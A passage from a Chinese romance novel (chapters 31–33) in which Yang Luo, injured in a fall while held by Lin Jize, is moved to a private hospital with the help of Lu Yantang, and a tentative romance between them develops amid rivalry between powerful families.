她看着他绝望地笑,那股永远也无法屈服的气焰烧在她眼睛里。
林纪泽定了神,刚迈出一步,杨珞忽然向后倒去,她的身体宛如一个风筝从栏杆处跌了下去。
“杨珞!”
林纪泽大步冲过去,他抓住了什么,可刺啦一声,手中只剩半片真丝,又什么都没抓住。
一声巨响,杨珞直直落在他眼下。
林纪泽所有的情绪都在这一刻停滞了,只剩无尽的害怕,他眼里血红,心脏也停了一拍。
他疯了一样冲下楼,那具身体一动不动。
他跪在地上抱起杨珞,手心里一股热感传来,他看到一抹鲜艳的红色,触目惊心。
“来人啊!来人!”
——
唐亭在家里等了一天一夜。
她像无头苍蝇一样来回踱步,可却没有一点办法。
期间王慧给她打了一通电话,问她杨珞去干什么了,电话为什么打不通。唐亭知道林纪泽的存在杨妈妈一直不知道,也知道杨珞再刻意隐瞒。
唐亭只好编了个她出差的幌子骗了过去。
但骗得了一时也骗不了一世,况且王慧是最了解杨珞的人,只怕这一时都骗不了。
凌晨四点唐亭的电话突然响了,陌生号码,她随手挂断,可不到一分钟又响了。
“唐小姐。”
唐亭醒了醒神,觉得这声音有些熟悉。
“你是?”
“我是程进,是陆先生让我打给你的。”
唐亭猛的坐起来。
“陆砚堂?发生什么了?”
“杨小姐摔伤了,目前人在中心医院住院部2489号房。仍在昏迷中,但没有生命危险。”
唐亭顿感手脚冰凉:“摔伤?为什么会摔伤?”
程进:“原因不详。医生预测明天下午能苏醒,明天晚上你可以过去把杨小姐接走。”
唐亭此刻的脑子一团乱麻。
“接走?那林纪泽呢?”
“林纪泽那里陆先生会想办法的。”
唐亭不敢再多问,她此刻像是抓住了救命稻草,根本等不到明晚上,穿了衣服就直奔中心医院。
挂了电话的程进微微叹了口气,看向一旁抽烟的老七。老七轻笑道:“有得忙喽。”
程进走到老七面前:“真要这么干?”
老七踩灭烟头:“我敢假传圣旨啊?”
程进想了想,也对。
老七看了眼程进,略带嫉妒的发牢骚:“你想这么多干嘛呢,这种脏活累活什么时候让你沾过手,回回不都是我来擦屁股。”
程进:“先生怕是觉得我做不好吧。”
老七嗤笑:“得了便宜还卖乖,我看你不像陆总的手下,倒像他兄弟。”
程进被老七呛的一愣一愣,倒也没反驳。自打自己八岁进了陆家跟着陆砚堂开始,两人就再没分开过。这么多年,他是真把陆砚堂当大哥了。
老七从走廊离开,程进独自一人靠着墙发呆。声控灯灭了下来,黑暗里静谧无声。老七的消息遍布西京的大街小巷。中午的时候从医院那里传来的杨珞的消息。坠楼摔伤。
这消息属实把他和老七都吓了一跳。此时摸不清陆砚堂的态度,他们对杨珞的事总是谨小慎微的。
于公而言,程进要揣测老板的心思。于私,他也想看看陆砚堂能做到哪一步。
在程进久远的记忆里,十四岁的陆砚堂是有喜怒哀乐的。那些理智、成熟和绝情,是在一次次的阴谋诡计中堆砌出来的。越堆越厚,越垒越高。
但程进隐约感觉,陆砚堂在这次荒唐的艳遇中,流露出了一点他久违的人味儿。
唐亭躲在电梯一侧,看着走廊上来回踱步的保镖。她认出了刘明,林纪泽的左膀右臂。可见程进给她的消息并不假。
陆砚堂不愧是陆砚堂,消息如通天般迅速。
可现在自己根本带不走杨珞,她连进都进不去。
唐亭躲回安全通道,看着手机上的时间。程进说晚上可以带走杨珞,剩下的自有陆砚堂解决。
唐亭不禁想起前日陆砚堂的模样。难怪杨珞畏手畏脚,难怪杨珞看不透他。
那日的冷静甚至冷漠,都让唐亭以为陆砚堂只想置身事外。
可今日他却愿意再帮自己一把。
唐亭知道,陆砚堂不是自己可以揣测的人。
——
午后的太阳从蓝色窗帘里钻进来,杨珞缓缓睁开眼睛,一时间分不清梦境与现实。她模模糊糊看到一名长相清秀的护士。那护士冲她说了些什么,许久她才慢慢听到了声音。
护士不等她回话,急忙朝门外跑过去。
片刻后,刘明进来了,看到杨珞睁着眼睛,他又很快
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出去。
再过了一会儿,林纪泽来了。
杨珞终于缓过了神,别墅里发生的事情如走马灯一样在她脑海里闪过,她环顾了四周,也反应过来自己在哪儿。
别墅的二楼不算高,杨珞砸到了脑袋,但好在沙发缓冲了一下,不严重,只有轻微的脑震荡。
林纪泽踱步到她床前,没有她想象中的担忧和愤怒,苍白的脸色看不出一丝情绪。
生死之间,两人都异常的平静。
屋里的人早已识相的离开了。
林纪泽终于开口:“你不是在逼你自己,你是在逼死我。”
杨珞无言,别开头去,不想说一句话。
林纪泽双眸露出无可奈何,转身离开,摔门而去。
病房里落针可闻。片刻后护士战战兢兢的前来询问她的病情,看着像是医院的人,不似林纪泽身边那些凶神恶煞的主。
杨珞如实答了,又请护士帮忙把自己扶起来。
护士:“你想吃东西,或者喝水吗?”
杨珞:“帮我倒杯水吧,谢谢。”
杨珞喝了半杯水,对护士说:“能不能借你手机用一下,我的手机忘在家里了,我想打个电话。”
杨珞是大半夜被送来的,林纪泽不想惊动太多人,护士也只是被交代里面的人非同小可,不能马虎,至于这群人到底什么身份没人告诉她。所以杨珞问她借手机,她自然同意了。
杨珞瞥了眼门外,刘明还带人在门口守着,她急忙拨了唐亭的电话。
唐亭一直蹲在医院的楼梯间里。电话铃声将她从漫无边际的思绪里拉回来。
“喂?”
“唐亭,是我。”
唐亭浑身打了激灵,泪水冲进眼眶。
“你醒了,你终于醒了。”
“你没事吧?林纪泽有没有为难你?”
唐亭连连摇头:“没有,我没事。我就在医院,你等一等,等晚上我接你出去。”
“晚上?”杨珞不思其解:“什么意思?”
唐亭:“等我见到你了再给你解释,你不要让林纪泽的人发现端倪。”
杨珞瞥了眼门口:“这两天我妈找我了吗?她怎么样?”
“妈妈没事儿,你放心,我们都没事儿。”
杨珞刚要再说话,刘明突然开门进来。杨珞立马挂了电话。刘明恶狠狠的看了护士一眼,把护士吓得不轻,而后转头对杨珞客气道:“杨小姐,有什么需要和我说就行,电话给我吧。”
杨珞没有把手机递给刘明,而是给了护士。
“我报个平安罢了,难不成林纪泽真想让我人间失踪?有什么需要我会告诉你,别为难不相干的人。”
刘明点了下头,冲护士使了个眼色,两人一同出去了。
护士被方才的对话吓得不轻,担心自己会不会被牵连,刘明关了门警告道:“里面的人,别多说,别多问,知道吗?”
护士连忙点头,刘明这才放她走。
杨珞在医院休养了一天,按时吃饭,按时睡觉。林纪泽再没来过,也没有其他人同自己说话。她想着唐亭的话,开始盯着眼前的钟表。
晚上,唐亭说晚上来接她。
36. 第31章
当天夜里九点的时候,门外突然响起了一阵嘈杂。杨珞警惕的向外面看过去,但却什么都看不到。
她的房门关的死死的,过了一会儿,那阵嘈杂声也渐渐变小了。
杨珞的心越来越慌。她尝试着下床,脑袋有瞬间的眩晕,但缓了一会儿后还是轻手轻脚的从床上下来了。
刚走了几步,门突然开了。
杨珞吓了一跳,可看见来人后忍不住红了眼眶。
“唐亭。你怎么进来的?”
唐亭一脸担忧的看着杨珞。
“我先带你走吧,你身体扛得住吗?”
“我没事了,可外面……”
“外面没人了。”
杨珞以为唐亭看错了,可等出门的时候发现真的没人了。她想起方才的声响,怕是发生了什么事情。
两人逃难似的下了楼,唐亭把杨珞扶进车里,刚坐上驾驶座,程进的电话就打来了。
“接到杨小姐了吗?”
“接到了。”
“杨小姐的身体状况不适合离开医院,我现在发给你一个私人医院的地址,你过去。那里已经安排好了。”
唐亭微顿:“谢谢你。”
程进:“应该的。”
杨珞敏锐的察觉到了这通电话的异样,问:“是谁?”
唐亭却没有回答:“我先带你去另外一个医院,到了再说。”
杨珞虽好奇,可一阵折腾她也有些受不住。疲惫的靠在车上,默不作声。
过去的路上唐亭简单的交代了杨母这几天的状况。她骗杨母杨珞是因为有工作出国,那边有时差,可始终联系不上杨珞,心底里还是不放心。
杨珞在车上给母亲打了一个电话,借口在国外工作忙,再加上手机丢了,耽搁了几天。
杨妈妈在电话里劈头盖脸骂了她一顿,但好在是放下心来了。
两人到了程进给的私人医院,有医生和护士早早等着了。或许是出于对唐亭的信任,杨珞没有多问什么,她先去按照医生的吩咐做了检查,而后入住了病房。
唐亭:“医生,她怎么样?”
“没什么大问题,就是轻微的脑震荡,思维和记忆都没什么影响。多休息就好了。”
唐亭再回到病房时已经是夜里一点。
杨珞的精神肉眼可见的不好,可她还强撑着精神。
两人相识十年,唐亭对她再了解不过。
“你想问什么就问吧。”
杨珞:“你怎么知道我在医院?谁安排你来接我的?刚才给你打电话的是谁?”
杨珞百思不得其解。
唐亭对外虽称是唐家的二小姐,多多少少也有几分面子。但能从林纪泽手下把人接出来,别说她自己,就算是唐继平亲自来也不见得有着胆子。
唐亭:“陆砚堂。”
只三个字,回答了杨珞所有的疑问。
有一瞬间杨珞是愣住的,她在听到这个名字后有些不知所措。
好像这几日所有的事情都因他而起,可杨珞自己知道,又与他无关。归根结底是她和林纪泽的爱恨情仇罢了。
杨珞半晌才问:“你去找他了?”
唐亭嗯了一声,没再多说。她低着头,感受着劫后余生的平静,不知不觉落下一滴泪。
唐亭极少哭,只是这次她太怕了。怕杨珞真的会死,会伤,会疯。
唐亭的啜泣声渐渐引起了杨珞的注意。
杨珞上前一把抱住唐亭,轻抚她的头发:“没事的,林纪泽没有对我怎么样,伤是我自己受的。况且我现在没事,陆砚堂帮我了,会有人帮我的对吗?”
这话杨珞自己都不信,她从未相信过任何人。可此时为了安慰唐亭,她不得不扯出这种谎言。
唐亭哭着摇头。
她想说,但却无法开口。
她想告诉杨珞她早就求过陆砚堂了。
她想告诉杨珞他那天的镇定和理智,那种不受一丝感情动摇的神态。
可今天的电话又推翻了她认定的无情,她看不透,猜不准。
她怕杨珞踏进火坑里,可自己却没能力救她。
哭声静止,唐亭陷入无措。
巨大的无力感压垮她的肩膀。
杨珞抚着她的背:“我第一次见你的时候,你可不是这样的。那时候你遇到的事儿比我难多了,可我从头到尾没见你哭过一次呢。”
唐亭抬手擦去眼泪,又恢复了往日的模样。
“要是我自己,我倒无所谓了。”
唐亭站起身来,杨珞知道此时此刻说再多也无用。
两人默契的沉默着。
无妨,起码还在彼此身边。
杨珞踱步到窗边,谨慎的看了看窗外,确定林纪泽的人没有来找麻烦才安心。
杨珞被唐亭带走后不久刘明就发现人去房空了,东市的场子出了事儿,几乎所有的人手都赶过去了,留下的人也被一场刻意的闹剧支走了,没成想是个调虎离山之计。
他愤愤的赶回林纪泽的别墅,心里不禁盘算着陆砚堂的手笔。
他来之前就查到了杨珞的去处,是在郊外的一个私人医院里。自己已经派人守在了周围,但不清楚具体的情形,也不知道林纪泽的想法,所以贸然不敢行动。
其他的都好说,就怕陆砚堂不放人,这就麻烦了。
短短一路,刘明心里把各种情况都猜了个遍,但赶到别墅时,却见林纪泽站在窗台前发呆,出神的望着一池的金鱼。
自从昨晚杨珞从楼上摔下来,林纪泽就开始心事重重,目光了无生气。
刘明半天不敢出声儿,还是林纪泽回过神来。
“出什么事儿了?”
“陆砚堂乱了我们的场子,没出大事儿,但是……”
后面的话不言而喻,林纪泽半晌才缓过神,随手将鱼食扔了出去,惹得鱼儿们争抢起来。
“我知道,你去办吧。”
刘明站在原地,欲言又止。
林纪泽:“还想说什么?”
“杨小姐没回家,在郊外的一个医院,用不用把人带回来?”
林纪泽转过身来,额前的头发垂在眼角,疲倦之色笼罩着全身。
“不用了,随她吧。”
刘明仿佛听错了,久久没有回应。
林纪泽在沙发上坐下,望着窗外浩瀚宁静的夜,没有一丝烟云。仿佛他此刻的心,空荡,寂寥,再怎么张牙舞爪的情绪终究败给这一片寂寞。
杨珞坠楼的那一刻,他的心也跟着死了。
他那时想,如果她能活着,什么都无所谓了。
幸运的是她活了,可他还是
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不甘心。
是不是自己错了?他坚持的一切都是错的。
她宁愿死,都不愿在自己身边苟且。
他这条无用的烂命,好不容易掀起的一丝波澜,从头到尾都是自作多情。
他累了,怕了,他真的不知道该怎么办了。
哪怕她有一丝的妥协,哪怕给他一点点希望,他都不会像现在这般心如死灰。
刘明是个粗人,他不懂这些情情爱爱。
见林纪泽久久没有动静,知道他不是开玩笑。
他从房间里出去,可越走越气,
手下在外头等着,嬉皮笑脸迎上来:“林哥怎么说?去抢人吗?”
刘明:“抢你妈!丫的,老子都他妈准备大干一场了,结果就这么算了!”
“算了?这怎么能算了?”
“鬼知道。”刘明并非港城土著,而是从西京过去的,近些年也被影响的说话带着粤语的调调,可这会儿骂起人来,又回到了骂娘的状态:“这娘们真他妈是个祸害,自打她出现就没过好事儿!”
——
杨珞平安的度过了一夜,林纪泽没有动作,应当也无事了。
杨珞受的伤不重,头一夜害忧心忡忡,怕林纪泽杀过来。可越想越觉得没所谓了。
她不是自己逃出来的,是被另一个男人救出来的。
根本轮不着她要如何,是不是从狼坑落入虎口还不知道。
杨珞觉得自己如同一个稍稍值钱的物件,被人任凭喜好争来抢去。
第二天已经好了许多,医生允许她去外面呼吸一下新鲜空气。
私人医院的环境的确好,她也没有穿病号服,是唐亭从家里给她带来了一套丝绸的睡衣。生怕她养病不舒服。
杨珞披了件针织去了外面的廊亭,发呆之际,接到了张凌睿的电话。
那头上来就是一顿关心,原来是唐亭扯了个谎说她受伤了。
张凌睿:“伤的重不重?怎么好端端的还把脑袋给砸了?”
杨珞:“还好,就是不小心滑倒了。”
张凌睿:“吓我一跳。那天开会的时候你半天不见人,又联系不上,急的我差点都报警了。”
杨珞笑了笑:“谢谢领导关心了,要是能多给我几天病假就更好了。”
张凌睿:“脑袋都开瓢了,都这份儿上了,我再周扒皮也不能把你薅回来上班吧。好在后续的事儿也没那么多了。那天开会真惊险啊,本来我就愁续约的事儿,结果你这个主力军还一声不响的消失了。我听说那天陆总也在旁听呢,得亏人家没怪罪下来。”
杨珞安静如斯,却不自觉握紧了手机。
“嗯,是我疏忽了。没事儿就好。等我过几天恢复差不多了我就回去。”
“行,应该不耽误咱们去洛杉矶。”
杨珞皱眉:“什么洛杉矶?”
张凌睿:“下个月末我们要和陵川一起去洛杉矶出差,名单上有你的名字,你不知道吗?”
“什么名单?”
“陵川发出来的啊,应该都通知到了。不会因为你受伤没联系上吧?”
杨珞此刻想的不是工作的事儿,是怕这趟洛杉矶别有洞天。
“哦,可能吧。等我回去上班了再说。”
“那你好好休息,有事儿我们电话联系。”
37. 第32章
杨珞挂了电话,朝窗外望去。
农工正在打理草坪,隐约能听见一阵哄哄声。
她此刻的心像这股声音一样杂乱。
听张凌睿的意思,开会那天陆砚堂就知道自己不见了,况且按照唐亭的性子,要么压根不会找上陆砚堂,如果要找,也应当早就去找了。
杨珞眼里的光亮似乎落下了几分。
他早就知道了。
知道她被带走,知道她被囚禁了两天。
杨珞深吸一口气,她不敢再想下去。
纵然是陆砚堂的鲁莽让林纪泽再也耐不住性子,可归根结底,是她和林纪泽的私事。
他们两人之间的窗户纸早晚有一天要被捅破,至于谁来捅也没那么重要。
陆砚堂的淡漠,她又有什么资格埋怨?又能以什么身份来责怪?
只是将自己从医院带回,这份恩情就够她还了。
理智叫杨珞记着陆砚堂的身份,记着他的无情,叫她不要得寸进尺,不要想那不着边际的情意。
——
夜里十点钟,程进在门口迎着刚从酒局上出来的陆砚堂。他将后备箱里的礼物递到对方司机的手里,一阵寒暄后终于扶着陆砚堂上了车。
车外的热情在关门的那一刻烟消云散,陆砚堂深感疲惫,嗑着眼睛靠在那儿一言不发。
程进瞧出陆砚堂的不对劲,叫司机自行离开,自己去前面开车。
程进没有立刻启动,等陆砚堂睁开眼睛后,递给他两片胃药和一瓶热水。说:“胃难受了吧。”
陆砚堂接过,盯着手心里的两粒胃药,竟发起了呆。
“赶紧吃药吧,不然一会儿胃要疼了。”
程进担忧的催促着,陆砚堂将药吞了,疲惫的靠在座椅上:“开车吧。”
程进将车子启动,陆砚堂问:“林纪泽那边的事怎么样?有没有出岔子?”
程进:“没有,一切正常。林纪泽在西京的人手不多,况且在港城也不是他说了算的。”顿了顿,程进又道:“杨小姐已经安顿好了,在郊区那边的医院。”
陆砚堂:“嗯。”
陆砚堂没有再多说话,迷迷糊糊的睡了过去,路程不长,却做了个很奇怪的梦,直到程进叫他才醒来。
“到了。”
陆砚堂揉了揉眉心,却有些不想下车。
他想起了杨珞,好久没见她了。
程进透过后视镜看了眼陆砚堂若有所思的样子,已经知道今晚怕是没那么好过夜。
果不其然,陆砚堂并没有回家,而是让他掉了头。
程进并不清楚到底发生了什么,但陆砚堂此刻心不静,所以他什么都没问。
杨珞要入睡时突然接到了陆砚堂的电话。
陆砚堂会找她,杨珞早有预料。
可不知为什么会是这个点。
杨珞接通:“陆先生。”
“我在楼下。”
杨珞心里咯噔一声,不可置信,但脚步已经不自觉地往窗边走去。
白天的细雨停了,西京难得的好月色。
楼下停了一辆车,车外陆砚堂脱了冷厉的外套,只剩下白色衬衫散散的套在身上,透着少见的随意。
杨珞已经关了灯开灯,但陆砚堂仍是找到了她,他倚靠在车上,抬头便对上了她的眼睛。月色在他周身打出一片温暖的光,衬得他的双眸异常明亮。
“你下来。”
杨珞有些戒备
“很晚了,有什么事非要现在说吗?”
两人对视着,陆砚堂沉默半晌,说:“没事儿。你想来就来,不想来就早早休息。我过会儿就走。”
杨珞的心仿佛被什么东西揪住了。陆砚堂挂了电话,再没催她。
深夜会悄无声息扯破心底的防线,杨珞怔愣片刻,转身冲了下去。
她甚至没顾得上换鞋,可离人越来越近时,又克制着放慢了脚步。
陆砚堂的胃痛还没有好转,他低着头,直到视线里出现一双穿着凉拖的脚。
他缓缓抬起头来,笑道:“怎么鞋都不换?今天夜里凉。”
杨珞竟有些局促:“忘了。”
她身上只穿着一件真丝睡裙,在夜风下裙裾飞舞,透着丝丝凉意。程进在车里一直注意这外面的情况,看杨珞穿的并不保暖,他下车对陆砚堂说:“我肚子饿了,去吃点东西,你们来车里谈吧。”
程进走前打开了车里的暖气,杨珞坐进去的时候瞬间被温暖包裹。
这是一次没有预谋,没有公事的见面。
更是一个念头,一个冲动,就把人带到了对方身边。
两人心知肚明,气氛多少有些暧昧尴尬,谁都没有先开口。
陆砚堂拿起自己的外套,弯腰裹上杨珞的脚。
“寒从脚入,不长记性。”
杨珞踩在他价值不菲的衣服上,说:“我爸以前也总说什么寒从脚入,陆总,你还真是老了。”
陆砚堂:“你这张嘴倒是会呛我。”
杨珞别开脸。
陆砚堂笑了一声:“到底是我对你太好了。”
杨珞这次并未反驳,车在医院的楼下,医院是陆砚堂的。她此时此刻能平安无事的坐在这里,也是因为眼前的人。
“谢谢。”
温柔而有力的声音。
“嗯?”
陆砚堂饶有趣味的迎着她的目光。
杨珞被他看着,思索着,想再说些什么。
口头的感激总是不值钱的,如果换做别人,她一定许诺些什么,一定予以回报。
可面对陆砚堂,她深知自己多么渺小,就算她说大话许诺的东西,在他眼中或许都一文不值。
纠结半天,杨珞只好又重复了一句谢谢。
她扭捏的样子逗笑了陆砚堂,他勾着唇角,往别处看去,那种尴尬而静谧的气氛谁都没打破。
许久陆砚堂回过头来,伸手朝杨珞的脑袋探过去,虽然伤的不重,但还是抱着一层纱布。
陆砚堂:“你打算一直跟他这么耗下去?”
杨珞眼底闪过一丝无奈:“你这话问的,好像我有的选。”
陆砚堂若有所思的看着窗外,路灯昏黄,几只蛾子扑棱着翅膀。
杨珞随着他的目光看过去,突然问:“像你们这样的人,如果要杀人,都怎么杀?”
陆砚堂思索半晌,说:“像我们这样的人,从来不为杀人而杀人。”顿了一下,他靠近些,“你是想让我杀你?还是救你?”
杨珞没有正面回答他。
“你知道吗?林纪泽在我脖子上架了一把刀,可他不一刀砍下来,他逼着我后退,一退再退,退到无处可逃。我要活活憋死了。”
陆砚堂慢条斯理的握住她的手,说:“我可以让你摆脱林纪泽,你知道的。”
杨珞看着他的眼睛,像一个巨大的漩涡,把人深深吸进去。
可陆砚堂没有等到杨珞的回答,她抽开了手,别过头,车厢里陷入了窒息的沉默。
半晌,杨珞才又开口:“去洛杉矶是怎么回事儿?”
陆砚堂松开她的手,目光从温柔里散开,恢复了往日威严不尽的模样。
“陵川要和你们律所长期合作,过段时间去洛杉矶出差,我需要几个有经验的律师跟着。这事儿我替你问过
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张律师还有唐亭,她们替你答应了。”
陆砚堂会问过唐亭是自己没想到的,可唐亭会答应自己并不奇怪。
杨珞:“抱歉,我去不了洛杉矶。“
陆砚堂:“为什么?”
杨珞:“张凌睿让我去,是你提出来了,他不好驳你的面子。唐亭让我去,是想让我借你的手离开,永远离开,再也不回来。但这个办法行不通的。”
陆砚堂莞尔:“我知道她想送你走,我也知道你走不了。不过不耽误你去一趟。”
这次换杨珞问为什么。
陆砚堂:“我本来也没打算送你走。为了躲一个林纪泽,闹的背井离乡,何必呢。”
杨珞不禁苦笑:“要是背井离乡就能躲开她,那我真是谢天谢地了。”
陆砚堂:“想那么多干什么,你不往外走走,怎么知道有没有机会呢?况且你骗你妈妈在国外出差,在那个谎言里,你还没回来,对吗?你妈妈今天信,会一直信吗?不如去好好给她拍个风景,带个异国他乡的礼物,你的谎才算完整。”
杨珞动容的看着他,心底升起丝丝动摇,陆砚堂的话正中她心口。
她太想离开了,哪怕只是片刻,她要憋的喘不过气来了。
杨珞陷入思考,陆砚堂自上而下的看着她,雪白的肌肤,青紫的淤痕,尽入眼帘。
陆砚堂的声音突然变得低沉。
“我心疼你,你又何必次次驳我的好意。”
杨珞被他直白的话烫的不知所措、。
话已至此,于情于理,她不该回回驳他的面子。
“好,谢谢。”
又是这句,她实在不知说什么了。
陆砚堂:“大恩不言谢,等有一天你想好怎么报答我了,再来找我道谢。”
杨珞不知如何接这话,便起身:“我要回去了,让程进来接你吧。”
陆砚堂没有留人,回去时他的神色讳莫如深,程进依旧不敢多问。
刚到家就遇上老七来给陆砚堂说事儿。
老七也看出陆砚堂的脸色有些不好,刚打算问程进,陆砚堂便叫他上楼了。程进只冲他使了个眼色,叫他说话小心点。
老七忐忑进门,不敢多贫嘴,单刀直入:“大发市场那边我查过了,确实是林纪泽放的眼线,他们最近布了很多人进去,还有几批货。”
听到这个名字,陆砚堂冷笑一声:“他倒是没闲着,那边周爷的情况呢?”
老七:“周爷在那边是老头蛇,但耐不住林二公子带来的人太多,他们家有港城的势力撑着,地头蛇也得让三分啊。”
陆砚堂玩着手中的钢笔,眼神幽深晦暗。林纪泽把追女人这名号打的响亮,不知道的人真以为他是个靠吃山空的二世祖,却不声不息却在西京撒了张暗网。
老七:“林二公子是走黑的,也算是林家的老本行,反正目前跟咱们没什么大冲突,就是抢了点唐家的甜头,还有几个不大不小的老匪头。不如就叫他们闹去,咱们做咱们的正经生意就行。”
陆砚堂捏着眉心,烦躁的扯开领带。他冷不丁的反问老七:“那头儿要是变天了,你以为我们能风平浪静?”
生意场上,黑黑白白,千丝万缕,老七自然明白。
陆砚堂若有所思:“林家,不是老大林尊儒掌手吗?听说林纪泽和他哥哥的关系一直不好。”
老七:“那哪儿是不好,简直是水火不容。不过为什么会变成这样,好像外人都不清楚。”
陆砚堂:“现在林二公子翅膀硬了,准备自己飞了。”
老七:“西京这块天就容得下这么几只鸟儿,飞多高还得各凭本事啊。”
38. 第33章
程进在下头等了半个钟头,见老七下来,问他什么情况。
保姆给老七递上一杯水,老七一饮而尽,拉着程进往外走:“出去说,吃点东西,饿死老子了。”
老七带程进去了家大排档,夜里一点还开着门,热闹得很。程进打小跟着陆砚堂进了陆家,很少来这种地方,略显拘束的坐下,看着老七点了一桌子串。
“陆总让我查了一下林纪泽最近在大发市场的动静,还真查出点东西来了。他表面上游手好闲,背地里在搞幺蛾子呢。”
程进并不意外,这种面上装瞎的人他见多了。
“那陆先生准备怎么办?”
“能怎么办,先盯着。反正也不碍我们的事儿,留个心眼儿就行。诶对了,我看陆总今天脸阴沉沉的,怎么回事儿?”
程进咬了一口牛肉,又油又咸,嚼了两口又吐了出来。
“估计是因为杨小姐的事儿。”
“杨珞?她气陆总了?”
“也不是,今天陆先生去郊区医院见了她。回来的时候情绪就不怎么好。”
老七撸串的手一顿:“那肯定是碰壁了呗,女人就是麻烦。”
程进喝了口水,说:“我觉得陆先生对杨小姐挺上心的。”
老七没接他的话,吃了几口肉,琢磨一会儿,说:“怪不得他让我查林纪泽的大发市场,我说以前陆先生身边这么清静呢,原来咱陆先生也是曹贼啊,专好别人家的女人。”
程进纠正:“杨小姐不是林纪泽的人,形势所迫,她也怪可怜的。不过有一点我不太理解,陆先生喜欢杨小姐,既然他惦记上了,为什么要拖拖拉拉的?林家是不好惹,但真要惹,也惹得起。”
老七惊奇的看着他,要说对陆砚堂的了解,程进排第二,没人敢排第一。今儿他自个儿都说弄不清陆砚堂的意思,倒是头回见。
“你是不理解陆总吗?你是不了解女人。”
程进:“什么意思?”
老七:“你也老大不下了,你谈过几次恋爱啊?”
程进无言:“关你屁事。”
老七:“抢女人抢女人,你以为在那个抢字上?都是些不入流的流氓才抢,抢来人玩一玩儿睡一睡就完了,你觉得陆总要的是这个?”
程进好像理解了一点,又没完全理解。
老七:“重点是女人。你也见姓杨那小娘们好几次了,你觉得她想跟咱们陆先生吗?她不想!这才是关键。她要是不想,抢过来,陆先生无非就是变成第二个林纪泽。她要是想,那还叫抢吗?那就叫两情相悦,懂了吗?”
程进若有所思的点头,不知不觉又往嘴里放了一块牛肉,刚进嘴里又吐了出来。
“陆先生估计在放长线钓大鱼呢,你就慢慢看热闹吧。”
夜里,杨珞辗转反侧,久久没有入睡。
她苦恼的很。
按照林纪泽的性子,现在应该杀过来了。可已经两天了,一点动静没有。杨珞心底发怵,真怕有什么大动作。
再是陆砚堂那儿,杨珞摸不准他的心思。他的话几分玩笑几分认真,所谓的情意掺了多少杂,杨珞不敢去想,更不敢当真。
她是几斤几两的人物,她自己心里清楚,可即便这样,夜深人静之时,她仍是控制不住想起在车里,他笑着为自己裹上脚的情形。
陆砚堂捉摸不透的情意像把锋利的刀子,在她心口悄悄划了个口子,有些东西无声无息的渗进来,待察觉到时已经叫人辗转难眠。
抛开别的不说,真的对陆砚堂没有一点点情意吗?
杨珞躺在床上,看着漆黑一片的屋顶,仿佛看到了自己的前路。可在这极致黑暗的空间里,她又能看到内心深处那一点点真切的光。
若要冷静思考,她极少会自己骗自己。
没有感觉是假的。
纵然是在飞机上的惊鸿一瞥,在波尔多的情迷意乱,她都是实实在在心动过的。
可就像她自己说的,那些美好只能留在过去,在西京,容不下她的小情小爱。
况且,陆淮是陆淮,陆砚堂是陆砚堂。
——
杨珞告诉唐亭她要和陆砚堂一起去洛杉矶时,唐亭倒是惊讶了一番。
那时想让杨珞远走高飞,只不过是自己心太急了,事后想想太过仓促,根本行不通。杨珞比她要冷静,她以为杨珞会拒绝陆砚堂,没想成答应了。
可转念一想,答应也在情理之中。
“陆砚堂总归是把你从火坑里往外拉了一把,也不好拒绝。”
杨珞:“是啊,拿人手短,只怕到时候我报答不起。”
今儿个要出院了,杨珞不紧不慢的收拾着东西。
唐亭:“不过说真的,你也别高估了陆砚堂的情意。他这个人,难以琢磨,啃着别人骨头爬上来的二世祖,怎么会在情情爱爱上露软肋。”
杨珞背着她,脸上忍不住轻笑,唐亭话里话外带着一丝抱怨,怕是为了上次找他吃瘪生气。
但她话里的意思,自己倒是明白。
唐亭:“陆砚堂这次为了支开林纪泽的人,找人端了他东市的场子,连那个空壳公司都在同一天被查。虽然听起来是我们这种寻常老百姓叹为观止的手段,但只是他这尊大佛动动手指的事儿。林纪泽来西京,对他到底算个威胁,有没有你杨珞,端了林纪泽的窝都不算亏。”
杨珞:“是,陆砚堂是个响当当的生意人。”
唐亭:“你还算清醒,没被爱情冲昏了头脑。”
杨珞挑眉:“爱情?我身边还有爱情吗?我被爱情冲昏头脑的日子早就一去不复返了。”
唐亭不语,陪她收拾一会儿,问:“林纪泽有为难你吗?”
杨珞手下一顿,摇头:“没有。他没来找我。”
林纪泽向来对她的行踪了如指掌。放在以往他早疯了,别说现在,打她从医院回来就会想各种办法把她弄回去了,可这次安静的离奇,倒像是暴风雨前的平静。
“管他呢,找来了再说吧。”
杨珞上午出了院,下午去了律所一趟。
自打这档子事儿之后是头回见他们。周淼见到她急的上前看她脑袋。
“你不是摔到头了吗?这么快就好了?不会有事儿吧,你这么聪明,摔笨了可咋整。”
杨珞摸了摸头发:“不碍事儿,皮外伤,纱布都拆了。”
张凌睿眼尖的看到杨珞穿着的高领针织衫,以往最不正经的人突然认真问:“没事儿吧?”
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杨珞:“都好了。”
张凌睿点了点头:“行,有事儿再知会。你在家多休息休息,这边最近不忙,也不用赶着来。”
杨珞:“行,就当您给我放假了,我带点东西回家。”
杨珞收拾东西的间隙,周淼站在窗后偷偷打量她,而后悄悄进了张凌睿的办公室。
“张主任,杨律的事儿你听说了吗?”
张凌睿敏锐的抬头:“什么事儿?”
周淼睁大了眼睛,一副八卦上头的模样:“我一个在医院的朋友……”
“说的全吗?”
张凌睿忽的打断,一项爱说笑的张主任突然严肃了起来,把周淼打了个措手不及。
“什么……”
“你说你一个在医院的朋友,是不是听到什么消息了?听的全吗?听的是真的吗?证实过吗?”
周淼被问懵了:“没有……”
张凌睿:“没有就当没听见,别瞎问,也别瞎说。”
张凌睿警告的意思溢于言表,周淼再傻也听出来了,她灰溜溜的退出去,又朝着里头的杨珞看了两眼。
有些百思不得其解。医院的朋友说的零零碎碎,她自然不知全貌。可张凌睿的反应如此敏感,倒真让她开始好奇起来。
这小姑娘,瞒着大家都干什么了?
好奇归好奇,周淼毕竟是聪明人,知道这事儿不可传,再没跟身边的人八卦过一嘴。
杨珞将东西放到车上,又顺路去买了些东西才回家。
刚到小区门口,就看到唐亭一脸焦急的等着自己。
杨珞赶紧看手机,才发现静音了,唐亭已经给自己打了七八个电话。
杨珞赶紧下车朝她过去,还没说上话,就知道她为什么这么着急了。
在唐亭身后,母亲脸色铁青的从里面走出来,那表情生要把她皮给剥了。
果不其然,王慧开口就是训斥:“什么时候回国的?为什么不告诉我?”
杨珞:“我……我刚回来。”
王慧:“你脑袋被人开瓢了你都不跟我说?”
杨珞立马看向唐亭。
